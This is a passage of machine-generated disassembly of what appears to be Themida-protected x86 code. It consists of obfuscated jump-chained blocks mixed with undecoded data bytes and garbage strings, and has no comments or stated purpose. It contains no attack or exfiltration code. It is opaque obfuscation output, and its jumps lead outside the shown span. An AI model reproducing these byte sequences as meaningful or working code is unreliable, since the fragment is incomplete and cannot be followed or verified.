		add	ebx, 557275EEh
		pop	esi
		xchg	ebx, [esp]
		pop	esp
		push	68F2h
		mov	[esp], edi
		jmp	loc_5A2ECF
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 0DDh
		dd 0E968B414h, 0FFFFE280h
; ---------------------------------------------------------------------------


loc_59965C:				; CODE XREF: Themida_:005A2799j
		push	edx
		push	1F3432F8h
		pop	edx
		push	ebx
		mov	ebx, 5A6F408Bh
		add	esi, ebx
		jmp	loc_59D24E
; ---------------------------------------------------------------------------
a313LHR		db '3<$1<$3<$‹$$hÌR',0
		dd 240C8900h, 4BB05052h, 0FFBEC5E9h, 4C481FFh, 81000000h
		dd 54469FC5h, 67BE5604h, 8172140Fh, 0F52394C6h,	864AE9D6h
		dd 8358FFFFh, 3C8904ECh, 8EF1E924h
		db 2 dup(0)
word_5996B6	dw 8B66h		; DATA XREF: Themida_:005907D4o
		dd 54532404h, 0FFACF9E9h, 241489FFh, 9C5CE7BAh,	8BD62900h
		dd 69E92414h
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5996D3:				; CODE XREF: Themida_:0059EE60j
		xchg	eax, [esp]
		pop	esp
		xor	[esp], edx
		jmp	loc_59A692
; ---------------------------------------------------------------------------
		db 81h
		dd 7B5133F1h, 0E9C8012Eh, 87A7h
; ---------------------------------------------------------------------------


loc_5996EC:				; CODE XREF: Themida_:00599D35j
		mov	[esp], edx
		jmp	loc_591A13
; ---------------------------------------------------------------------------


loc_5996F4:				; CODE XREF: Themida_:005932F9j
		mov	esi, 954043Eh
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 56E842ACh
		and	esi, ebp
		pop	ebp
		shr	esi, 1
		shr	esi, 2
		jmp	loc_595A89
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 27C4h
; ---------------------------------------------------------------------------


loc_59971C:				; CODE XREF: Themida_:005A2601j
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5A46EC
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 81E68956h, 4C6h, 4C68300h, 5C243487h, 174CE9h, 814B4300h
		dd 0C652DEF3h, 0A4CFE92Fh, 0F759FFFFh, 0EAE781D7h, 811BA43Fh
		dd 90643FEFh, 0E0F78161h, 19F6F9Bh, 243C8BF9h, 81E18951h
		dd 4C1h, 4C18300h, 65D6E9h, 81D6F700h, 63149EF6h, 53CCE961h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_599792:				; CODE XREF: Themida_:0059FC91j
		xchg	edi, [esp]
		jmp	loc_599E0A
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 6C2A0221h, 5840E950h, 0C6800000h, 5AF500A5h,	0FFEE32E9h
		dd 0EB8853FFh, 0ADE9DA88h
		db 80h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5997BB:				; CODE XREF: Themida_:0059E812j
		sub	eax, 53707668h
		sub	eax, edi
		push	ebp
		mov	ebp, 53707668h
		add	eax, ebp
		pop	ebp
		mov	edi, [esp]
		add	esp, 4
		push	ebp
		push	esi
		jmp	loc_5A2F68
; ---------------------------------------------------------------------------


loc_5997DB:				; CODE XREF: Themida_:00595109j
		pop	ebp
		push	small word ptr [eax]
		jmp	loc_590A9B
; ---------------------------------------------------------------------------
dword_5997E4	dd 207F83ADh, 63840F00h, 50000086h, 1A4DB7B8h, 0DA6E050Ch
					; DATA XREF: Themida_:005909CCo
		dd 0C6011A78h, 7B46E958h, 9B680000h, 8900007Ch,	72E9242Ch
		dd 66000025h, 66273335h, 66AD472Dh, 48BC529h, 4C48324h
		dd 18C58166h, 0EF31663Fh, 29665D66h, 68665FF8h,	0F3E96473h
		dd 81FFFFDDh, 4C4h, 7259E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_599842:				; CODE XREF: Themida_:005943A3j
		push	eax
		mov	eax, 4
		jmp	loc_59CBE0
; ---------------------------------------------------------------------------


loc_59984D:				; CODE XREF: Themida_:0059C0BDj
		push	ebp
		mov	ebp, 10CA03B6h
		mov	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	ebx, 6F836E81h
		not	ebx
		jmp	loc_59C151
; ---------------------------------------------------------------------------
		db 5Dh
		dd 4EC81h, 64E90000h, 5F000095h, 1A4EE9h
		db 0
; ---------------------------------------------------------------------------


loc_59987D:				; CODE XREF: Themida_:00591120j
		inc	eax
		jmp	loc_59868C
; ---------------------------------------------------------------------------


loc_599883:				; CODE XREF: Themida_:005A479Dj
		mov	[esp], edx
		sub	esp, 4
		jmp	loc_59D0F0
; ---------------------------------------------------------------------------
		dw 15Dh
		dd 8B042454h, 0C4812414h, 4, 0FF71FAE9h, 0E4CF81FFh, 81686709h
		dd 0C17F93CFh, 52EFD12Dh, 2B2F59BAh, 0E9D729E3h, 8DBAh
; ---------------------------------------------------------------------------


loc_5998BC:				; CODE XREF: Themida_:0059DBDFj
		xchg	esi, edi
		jmp	loc_59C9D8
; ---------------------------------------------------------------------------
		db 81h
		dd 0B444E8EFh, 88EF8128h, 5A5A630Fh, 0E904EC83h, 7BC1h
		dd 68242C89h, 4, 41BB535Dh, 0E9046F77h,	2A5Dh, 1FE8F681h
		dd 0F2295E17h, 8124348Bh, 4C4h,	81C20100h, 613F2DC2h, 7C86822h
		dd 2C890000h, 0AEBB5324h, 5024BA4Dh, 0B3269DB8h, 4520E944h
		dd 3C890000h, 1BF7BF24h, 0C78138D4h, 0C72BE40Bh, 0BBA8E9h
		dd 0BA525D00h, 2F9146C6h, 5004E2C1h, 0A216E9h, 8BF80100h
		dd 0C481243Ch, 4, 0E9240433h, 0FFFFFC8Ah, 4308F781h, 55E92652h
		db 3Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59995F:				; CODE XREF: Themida_:0059BF67j
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_59D014
; ---------------------------------------------------------------------------


loc_59997D:				; CODE XREF: Themida_:0059CED9j
		xor	edx, eax
		pop	eax
		sub	edx, 1
		not	edx
		jmp	loc_59B727
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 67h
		dd 0D76EE1Fh, 3C5D4A59h, 0B471F25h, 0E9D8F73Eh,	0FFFFB1FCh
		dd 4C50BB53h, 0D8315604h, 3112E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5999B2:				; CODE XREF: Themida_:005A0B1Ej
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5955FA
; ---------------------------------------------------------------------------
		db 83h
		dd 0FF5504C4h, 5D042474h, 8B24048Fh, 29662424h,	0E99C2404h
		dd 0FFFF70C7h
; ---------------------------------------------------------------------------


loc_5999D4:				; CODE XREF: Themida_:005A2E43j
		push	75EBh
		mov	[esp], edx
		mov	edx, 4
		jmp	loc_591B9E
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 758F2FCEh, 535BDD21h, 6454CBBBh, 5BDD2926h, 0D2DEF581h
		dd 95E9C44Ch, 0BAFFFFDFh, 25813EB2h, 0FFA19CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_599A0D:				; CODE XREF: Themida_:00590DFFj
		neg	ebp
		not	ebp
		inc	ebp
		add	ebp, 229B1ABDh
		and	ebp, 0AE03E73h
		add	ebp, 0FFFFFFFFh
		xor	ebp, 438B52D5h
		xor	ebp, 32771CBDh
		inc	ebp
		sub	ebp, 791C7E17h
		add	ebx, ebp
		jmp	loc_5A1E10
; ---------------------------------------------------------------------------


loc_599A3B:				; CODE XREF: Themida_:00596BF5j
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		jmp	loc_5A428D
; ---------------------------------------------------------------------------


loc_599A5F:				; CODE XREF: Themida_:00598622j
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_591D35
; ---------------------------------------------------------------------------
		db 54h,	0E9h, 30h
		db 9Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_599A73:				; CODE XREF: Themida_:0059C09Ej
		add	esi, 17FD48EEh
		jmp	loc_59B9ED
; ---------------------------------------------------------------------------
		dw 0EF89h
		dd 83DFF75Dh, 42E9FFC7h, 8700001Eh, 0E95C2404h,	0FFFFCCEAh
		dd 8B243487h, 0B3E92424h, 5E00008Ah, 4EC81h, 0C890000h
		dd 0C6895624h, 62E9F189h
		db 84h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_599AB3:				; CODE XREF: Themida_:00598B6Aj
		xor	edi, 193373D5h
		xor	edx, edi
		pop	edi
		sub	edx, 60393FA1h
		and	edx, 612E0A6Bh
		push	esi
		mov	esi, 547C6A84h
		jmp	loc_59B84C
; ---------------------------------------------------------------------------
		db 0FFh
		dd 68582434h, 37F5h, 3286E9h
		db 0
aNwU6S		db '­W¿u6Ü|é,*',0       ; DATA XREF: Themida_:005909A8o
		db 0
; ---------------------------------------------------------------------------


loc_599AED:				; CODE XREF: Themida_:0059BD26j
		add	ebp, 4
		jmp	loc_5917A9
; ---------------------------------------------------------------------------
		db 5Bh,	57h, 0BFh
		dd 4, 5AE9FB01h
		db 0B4h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_599B03:				; CODE XREF: Themida_:005A45FEj
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edi
		jmp	loc_592D97
; ---------------------------------------------------------------------------


loc_599B1B:				; CODE XREF: Themida_:005A20B4j
		mov	ebx, 79E2005Dh
		push	esi
		mov	esi, 7FBD30BCh
		xor	esi, 720A79CEh
		jmp	loc_5952FF
; ---------------------------------------------------------------------------
		db 50h,	5Dh, 8Bh
		dd 0C4812404h, 4, 0FF93A5E9h, 0D5F75DFFh, 0FFCD54E9h, 4C383FFh
		dd 31241C33h, 1C33241Ch, 24248B24h, 0FF6F3EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_599B5D:				; CODE XREF: Themida_:0059A42Cj
		pop	ebp
		jmp	loc_59D25A
; ---------------------------------------------------------------------------
		db 88h
		dd 873488EEh, 2434FF5Ah, 6D3CE9h, 24E95B00h, 89000036h
		dd 0BE662434h, 4E97428h, 8B000016h, 54532414h, 4C3815Bh
		dd 83000000h, 1C3304C3h, 241C3124h, 8B241C33h, 4012424h
		dd 4EC8124h, 89000000h,	42E9240Ch, 0B800007Ah, 6DC24538h
		dd 4EC81h, 3C890000h, 3A08BF24h, 0EF8168F4h, 67A27881h
		dd 0FFFD87E9h, 5FFA29FFh, 148BD501h, 0FDE1E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_599BDA:				; CODE XREF: Themida_:00592E17j
		push	36EBh
		mov	[esp], ecx
		mov	ecx, 2000000h
		push	ebx
		jmp	loc_595BD0
; ---------------------------------------------------------------------------


loc_599BED:				; CODE XREF: Themida_:005A35A6j
		pop	ebp
		push	esi
		mov	esi, esp
		jmp	loc_5A0A4A
; ---------------------------------------------------------------------------


loc_599BF6:				; CODE XREF: Themida_:0059A119j
		mov	ecx, 4
		push	ecx
		mov	ecx, 29DF605Ah
		jmp	loc_594543
; ---------------------------------------------------------------------------
		dw 0E951h
		dd 0FFFF96FCh, 0C181D1F7h, 0D0E14411h, 0E959C801h, 623Ah
		dd 83243C8Bh, 0BE5604C4h, 49006570h, 779DEE81h,	0EBE93F19h
		dd 89000004h, 0CEE92434h, 0BEFFFFABh, 5ACB21E0h, 3FC6814Eh
		dd 290DC8F1h, 0F2015EF2h, 131EC281h, 815E6894h,	4ECh, 24048900h
		dd 0B332E954h, 0CA810000h, 7C877FCBh, 4956C281h, 0EAD15646h
		dd 1B1EF281h, 17E9B4F2h, 6800004Fh, 4A8Bh, 0FF240C89h
		dd 59042474h, 0FFDC8CE9h, 0F9B652FFh, 96D8E950h, 0E9580000h
		dd 0AE17h, 0E9242489h, 7ECh, 3552E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_599CAA:				; CODE XREF: Themida_:0059FF69j
		pop	esp
		xor	[edx+30h], esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		add	dword ptr [edx+30h], 0FFFFFFFFh
		inc	dword ptr [edx+30h]
		sub	dword ptr [edx+30h], 29D40348h
		popa
		popf
		retn
; ---------------------------------------------------------------------------
		dd 0FF6DCAE9h, 4C283FFh, 0E9241487h, 84F7h
dword_599CDC	dd 243C3166h, 243C3366h, 243C3166h, 66CF3166h, 3166F931h
					; DATA XREF: Themida_:0059094Co
		dd 2EC83CFh, 240C8966h,	59665666h, 24348B66h, 81E38953h
		dd 4C3h, 2C38100h, 53000000h, 0FF9A59E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_599D15:				; CODE XREF: Themida_:005924EBj
		neg	ebp
		dec	ebp
		xor	ebp, 0FD53D528h
		add	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_5996EC
; ---------------------------------------------------------------------------


loc_599D3A:				; CODE XREF: Themida_:0059CD8Cj
		add	edx, eax
		pop	eax
		jmp	loc_59D41B
; ---------------------------------------------------------------------------
aFq		db 'fQ±ê',0
		db 0CBh
		dd 240C8B66h, 6602C483h, 0BF7E959h, 0E95A0000h,	170Eh
dword_599D5C	dd 24048B66h, 6A1868h, 0B06BE900h		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_599D6A:				; CODE XREF: Themida_:0059F877j
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		push	ebx
		mov	ebx, esp
		push	ebp
		jmp	loc_590DFA
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 0EC835124h, 241C8904h, 0FD88D788h, 83241C8Bh, 0EB8804C4h
		dd 12706859h, 0C890000h, 68DD8824h, 2D05h, 0E9241489h
		dd 0FFFFFDBBh, 8324348Bh, 0FF5104C4h, 59042474h, 5C24048Fh
		dd 9C240CFEh, 0FF6CDAE9h, 4C483FFh, 4EC81h, 34890000h
		dd 81E68924h, 4C6h, 212FE900h, 0E9500000h, 0FFFF790Ah
		dd 4EC835Bh, 54243C89h,	4BD555Fh, 1000000h, 0C7835DEFh
		dd 243C3304h, 33243C31h, 835C243Ch, 48904ECh, 2597E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_599E0A:				; CODE XREF: Themida_:00599795j
		pop	esp
		jmp	loc_59F538
; ---------------------------------------------------------------------------
		dd 0BF243C89h, 2E13316Eh, 0FFA6E6E9h, 0E9D6F7FFh, 0FFFFCC6Ch
		dd 44D2E954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_599E2A:				; CODE XREF: Themida_:005A0C6Aj
		add	esi, edi
		jmp	loc_59F9CD
; ---------------------------------------------------------------------------
		db 2Ch,	12h, 53h
		dd 0F80043B7h, 280A045Bh, 520A2CD0h, 7BE9ACB2h,	81000043h
		dd 4C2h, 4C28100h, 87000000h, 335C2414h, 14312414h, 3B7E924h
		dd 0FF570000h, 5F042474h, 8B24048Fh, 8B662424h,	68240Ch
		dd 8900000Eh, 0E389241Ch, 4C381h, 63680000h, 0E900000Fh
		dd 6A99h
; ---------------------------------------------------------------------------


loc_599E8C:				; CODE XREF: Themida_:0059D39Ej
		push	2E8Ch
		jmp	loc_59380C
; ---------------------------------------------------------------------------
		dw 3C31h
		dd 8D17E924h, 0BD55FFFFh, 30B5A1Bh, 3B01E9h, 0F6DAF600h
		dd 0DAC280D2h, 885AD000h, 97B8E9C5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_599EBA:				; CODE XREF: Themida_:00596E10j
		add	dword ptr [esp], 4
		jmp	loc_59DC04
; ---------------------------------------------------------------------------
		dw 0F181h
		dd 0FFFF0D7Dh, 0FFA517E9h, 0C30059FFh, 0E902EC83h, 0FFFFBC2Ch
		dd 0C281E289h, 4, 0E904C283h, 3C91h, 4EC81h, 2C890000h
		dd 6B4A6824h, 24890000h, 7E96E924h, 332DFFFFh, 177D863h
		dd 633305D8h, 456877D8h, 89000053h, 0ADBE2434h,	0E92AE14Ch
		dd 3F53h, 24048F58h, 0FFF2E5E9h, 0FE095CFFh, 4BC6815Fh
		dd 0E9960682h, 0FFFFC2B8h, 4EC81h, 2C890000h, 0C9F4E924h
		dd 0EC81FFFFh, 4, 89242C89h, 4C581E5h, 0E9000000h, 3635h
; ---------------------------------------------------------------------------


loc_599F5C:				; CODE XREF: Themida_:005A1902j
		pop	ecx
		push	edi
		jmp	loc_5A4287
; ---------------------------------------------------------------------------
		db 1
		dd 242C8BEEh, 0E904C483h, 0AAC5h
; ---------------------------------------------------------------------------


loc_599F70:				; CODE XREF: Themida_:0059452Fj
		xor	eax, ecx
		push	88Dh
		mov	[esp], eax
		xchg	edx, [esp]
		xor	edx, esi
		xor	esi, edx
		xor	edx, esi
		push	esi
		push	ebx
		jmp	loc_5A10B7
; ---------------------------------------------------------------------------
		dw 0C101h
		dd 4E98158h, 87000000h,	0E95C240Ch, 0FFFFDAECh,	5954515Ch
		dd 4C181h, 0C1810000h, 4, 0E9240C87h, 2FD2h, 0DA88C6B3h
		dd 0FFB42EE9h, 8DC381FFh, 21E1C759h, 0F7505BD8h, 0F7582414h
		dd 9BB951D8h, 0E972151Ch, 0FFFFAC59h
; ---------------------------------------------------------------------------


loc_599FD8:				; CODE XREF: Themida_:0059123Aj
		mov	esp, [esp]
		add	ebx, 35775748h
		push	esi
		mov	esi, 7E762E00h
		shl	esi, 2
		shr	esi, 2
		sub	esi, 7BF67205h
		inc	esi
		add	esi, 748A4B6Ch
		sub	ebx, esi
		pop	esi
		add	ebx, 63BE7B53h
		sub	ebx, eax
		sub	ebx, 63BE7B53h
		add	ebx, 370A0768h
		sub	ebx, 35775748h
		push	368Bh
		jmp	loc_5A50F1
; ---------------------------------------------------------------------------
		db 29h,	0F7h, 0E9h
		dd 0FFFFE63Fh, 4EC81h, 4890000h, 88C88824h, 0F48858C6h
		dd 4BE9595Ah, 80FFFFC2h, 4BE901C1h, 5E0000A6h, 6F9E9h
		db 0
; ---------------------------------------------------------------------------


loc_59A04D:				; CODE XREF: Themida_:0059175Bj
		pop	ecx
		add	eax, edx
		pop	edx
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, 682959D1h
		or	ebp, 396801E5h
		shl	ebp, 3
		jmp	loc_5A1A82
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0F7243C89h, 575F2414h, 42474FFh, 24048F5Fh, 5E2434FFh
		dd 4C481h, 0BF570000h, 42A65C68h, 36B3BD55h, 0EE014866h
		dd 0FFF510E9h, 986855FFh, 89000040h, 37B82404h,	0D7B126Eh
		dd 325475EDh, 0FFB8EDE9h, 0DFCE80FFh, 3060F680h, 2434FFF0h
		dd 491B685Ah, 34890000h, 81E68924h, 4C6h, 0B8A5E900h, 814AFFFFh
		dd 0F97F89C2h, 11E95741h
		db 0ADh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59A0EB:				; CODE XREF: Themida_:0059EAE4j
		xor	ebx, ecx
		pop	ecx
		push	ebx
		mov	ebx, 6BBA4DC3h
		neg	ebx
		xor	ebx, 0AB05DB10h
		sub	esi, ebx
		pop	ebx
		add	esi, ebx
		add	esi, 3F40692Dh
		pop	ebx
		push	ebx
		mov	ebx, esp
		jmp	loc_5A5A79
; ---------------------------------------------------------------------------
		dd 0DB42E955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59A116:				; CODE XREF: Themida_:005A5A89j
		mov	[esp], ecx
		jmp	loc_599BF6
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 4E720295h, 7441F181h, 6E90F77h, 0BB000076h, 269F79E4h
		dd 2EE2EB81h, 0C381128Eh, 3373F118h, 15BD989h, 0D4AAE9CEh
		dd 0C280FFFFh, 0AEA804Eh, 665AD000h, 664A2068h,	0E9240C89h
		dd 1BFh, 93DAE95Eh, 0EA810000h,	28C834CEh, 4EC81h, 1C890000h
		dd 0A372E924h, 0F581FFFFh, 28037887h, 7E9EA89h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59A187:				; CODE XREF: Themida_:00594DABj
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_59E237
; ---------------------------------------------------------------------------
aZsp6		db 'Zép6',0
		db 0
byte_59A1A3	db 66h			; DATA XREF: Themida_:005909A0o
		dd 0E924048Bh, 8E3Dh, 0E9E28952h, 0FFFF8DBEh, 0D1F7D1F7h
		dd 0C181D9F7h, 5396747Eh, 9CEDE9h, 0FFF83100h, 71E92434h
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59A1CF:				; CODE XREF: Themida_:00596549j
		pop	esp
		jmp	loc_5A4490
; ---------------------------------------------------------------------------
aFysu4		db 'fYéã4',0
		align 4
		dd 5704EF83h, 42474FFh,	24048F5Fh, 2404895Ch, 81E18951h
		dd 4C1h, 4E98100h, 87000000h, 21E9240Ch, 8100009Eh, 4C4h
		dd 52505000h, 69E9E289h, 5F00004Ah, 0FFD6EDE9h,	241433FFh
		dd 324EE9h, 81585F00h, 96217AEDh, 0C4ED813Eh, 2954D019h
		dd 0C4C581F5h, 5254D019h, 96217ABAh, 5AD5013Eh,	8124348Bh
		dd 4C4h, 0E0C78100h, 12B214Fh, 0E0EF81EFh, 5D2B214Fh, 0FF96FAE9h
		dd 0EC8155FFh, 4, 55242489h, 4BDh, 246C8100h, 0FB408604h
		dd 246C014Dh, 24448104h, 0FB408604h, 815D5D4Dh,	4C5h, 4BE5600h
		dd 0E9000000h, 0FFFFC8B6h
; ---------------------------------------------------------------------------


loc_59A294:				; CODE XREF: Themida_:005A2871j
		push	esp
		pop	edx
		jmp	loc_597B1B
; ---------------------------------------------------------------------------
		db 1
		dd 68055DE8h, 1719F0Ah,	0A682DD8h, 0EC81719Fh, 4, 57241C89h
		dd 0DB1A1CBFh, 0FFBD5565h, 899FEA7Ah, 242C8BEBh, 8104C483h
		dd 0B117FBEBh, 81FB2918h, 0B117FBC3h, 9EE95F18h
		db 79h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59A2DB:				; CODE XREF: Themida_:0059A948j
		pop	ecx
		add	ecx, 3BFA298Ah
		xor	ecx, 5C617006h
		jmp	loc_597428
; ---------------------------------------------------------------------------
		db 35h,	14h, 0C3h
aE1S		db '%e1Çéº&',0
		dd 0D3F75A00h, 74EFE950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59A302:				; CODE XREF: Themida_:0059A841j
		pop	dword ptr [esp]
		push	edx
		mov	edx, 4
		add	[esp+4], edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_598DC3
; ---------------------------------------------------------------------------
		db 0B5h
		dd 91B35316h, 8073C380h, 0EB80A7F3h, 0E9DD28A4h, 0FFFFF08Dh
		dd 0BB241C89h, 3A4611E1h, 1B25F381h, 0F381424Dh, 696D2EFDh
		dd 4947E381h, 0E3C17D2Ah, 4EC8304h, 83240C89h, 0E5E904ECh
		dd 8BFFFF84h, 89572434h, 0B95150E7h, 58CC352Fh,	4E54C181h
		dd 0E9813E44h, 6929620Eh, 2D59C889h, 3F4A0C82h,	62EB1105h
		dd 0E9C70111h, 1D5Eh
; ---------------------------------------------------------------------------


loc_59A38C:				; CODE XREF: Themida_:005A0C21j
		add	esp, 4
		push	edx
		mov	edx, ebx
		mov	eax, edx
		pop	edx
		pop	ebx
		push	esi
		jmp	loc_591415
; ---------------------------------------------------------------------------
a1sHi_		db '\1è]hë.',0
		dd 24348900h, 6EC268h, 243C8900h, 0C781E789h, 4, 0FFFE1FE9h
		dd 0ED8159FFh, 0AA051F66h, 0B790E9h, 1A040500h,	7B3533BAh
		dd 2D664568h, 0C51A9274h, 4756E9h, 0FCF68100h, 0E93A39FDh
		dd 2DD6h, 7AA468h, 240C8900h, 0FF98CDE9h, 81D6F7FFh, 0B27E3CEEh
		dd 632E911h, 48B0000h, 4C48124h, 80000000h, 0B753B8F2h
		dd 5BFA206Ch, 4EC81h, 45E90000h
		db 81h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59A41F:				; CODE XREF: Themida_:005A240Aj
		mov	ebp, 7023798Bh
		sub	ebp, 612027D9h
		xor	ebx, ebp
		jmp	loc_599B5D
; ---------------------------------------------------------------------------


loc_59A431:				; CODE XREF: Themida_:005A36BFj
		push	ebp
		mov	ebp, 1280390h
		shl	ebp, 7
		jmp	loc_59F348
; ---------------------------------------------------------------------------


loc_59A43F:				; CODE XREF: Themida_:005A216Dj
		pop	esp
		xchg	edi, [esp]
		mov	esp, [esp]
		push	3030h
		jmp	loc_59F9E0
; ---------------------------------------------------------------------------
		dd 0D15FF809h, 47EA68E0h, 0E9E90000h, 1000007h,	0B4D6E9F8h
		dd 0C8B0000h, 863EE924h, 0C280FFFFh, 0E9D0286Eh, 0AD5Fh
; ---------------------------------------------------------------------------


loc_59A478:				; CODE XREF: Themida_:005A4AAEj
		add	ebp, 4
		push	8BAh
		mov	[esp], esi
		mov	esi, 6AD76A89h
		jmp	loc_5932B4
; ---------------------------------------------------------------------------
		dd 4240483h, 50242C8Bh,	38DEE9h, 65F9E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59A4A2:				; CODE XREF: Themida_:005A1E8Ej
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_59A5DB
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 9Ah
		dd 811AD047h, 0C907CEF2h, 5AD60970h, 0ACDF681h,	0F1215273h
		dd 0FF9ECFE9h, 0C8966FFh, 0B60F6624h, 0E763E9C8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59A4D6:				; CODE XREF: Themida_:005A3B30j
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_595CB8
; ---------------------------------------------------------------------------
		dd 81D9F75Bh, 4A12EDC9h, 81D1F718h, 2E5AD0E1h, 0ECE9534Dh
		db 0C5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59A4FB:				; CODE XREF: Themida_:00594355j
		add	edi, esi
		pop	esi
		xchg	edi, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_591ABF
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 0D7h
		dd 81225D5Eh, 0EA0F25C6h, 7FC6816Bh, 817B4D48h,	9F027CC6h
		dd 24048B69h, 4C481h, 0B9510000h, 2A8153BEh, 929BE56h
		dd 0F1214126h, 0BE56495Eh, 123h, 69CDBB53h, 0CCE94919h
		dd 0BF000014h, 2C142BD1h, 8104EFC1h, 2C14D3EFh,	5FF829EEh
		dd 1F707E2Dh, 5E80156h,	561F707Eh, 952DEA05h, 242C8B14h
		dd 0E904C483h, 0E5Dh
; ---------------------------------------------------------------------------


loc_59A57C:				; CODE XREF: Themida_:005944E7j
		push	ecx
		sub	esp, 4
		mov	[esp], ebx
		push	edx
		push	42C44BF4h
		jmp	loc_5A2B23
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 0B2h
		dd 814AD943h, 839B12E9h, 8BCE01E7h, 0F8E9240Ch,	58FFFF98h
		dd 9310E9h, 241C8700h, 0FFC9EAE9h, 0DD015BFFh, 242C875Bh
		dd 0FF8660E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59A5C1:				; CODE XREF: Themida_:0059FF16j
		mov	[esp], eax
		jmp	loc_594172
; ---------------------------------------------------------------------------


loc_59A5C9:				; CODE XREF: Themida_:005A5421j
		and	ecx, esi
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		push	7680h
		jmp	loc_5A09FD
; ---------------------------------------------------------------------------


loc_59A5DB:				; CODE XREF: Themida_:0059A4A8j
		push	ebx
		push	15D5h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		jmp	loc_59BCC8
; ---------------------------------------------------------------------------
		db 87h,	4, 24h
		dd 4C0835Ch, 0E9240487h, 292Dh,	0E904C783h, 0FFFFB9A2h
; ---------------------------------------------------------------------------


loc_59A608:				; CODE XREF: Themida_:0059CD9Bj
		jmp	loc_590A9B
; ---------------------------------------------------------------------------
aVsN		db 'VéÓ­',0
		dw 6800h
		dd 0BCFh, 0BF243C89h, 6C8613Eh,	0FF77D7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59A625:				; CODE XREF: Themida_:0059AC17j
		sub	edi, ebx
		push	ecx
		mov	ecx, 4DB44592h
		neg	ecx
		jmp	loc_59371D
; ---------------------------------------------------------------------------
		dd 0CF4B2B25h, 14F75024h, 7AF0E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59A642:				; CODE XREF: Themida_:005A2FCBj
		jmp	loc_590A9B
; ---------------------------------------------------------------------------
		db 0C1h
		dd 240508E8h, 212E8B1Ch, 0F640E9C7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59A656:				; CODE XREF: Themida_:00592B76j
		push	esi
		mov	esi, 3F3A45A6h
		add	edi, esi
		jmp	loc_5A508A
; ---------------------------------------------------------------------------


loc_59A663:				; CODE XREF: Themida_:00593259j
		sub	edi, 61615B05h
		sub	edi, 5730197Dh
		add	edi, ebx
		add	edi, 5730197Dh
		push	esi
		mov	esi, 50F26343h
		jmp	loc_59226E
; ---------------------------------------------------------------------------
		dw 6C81h
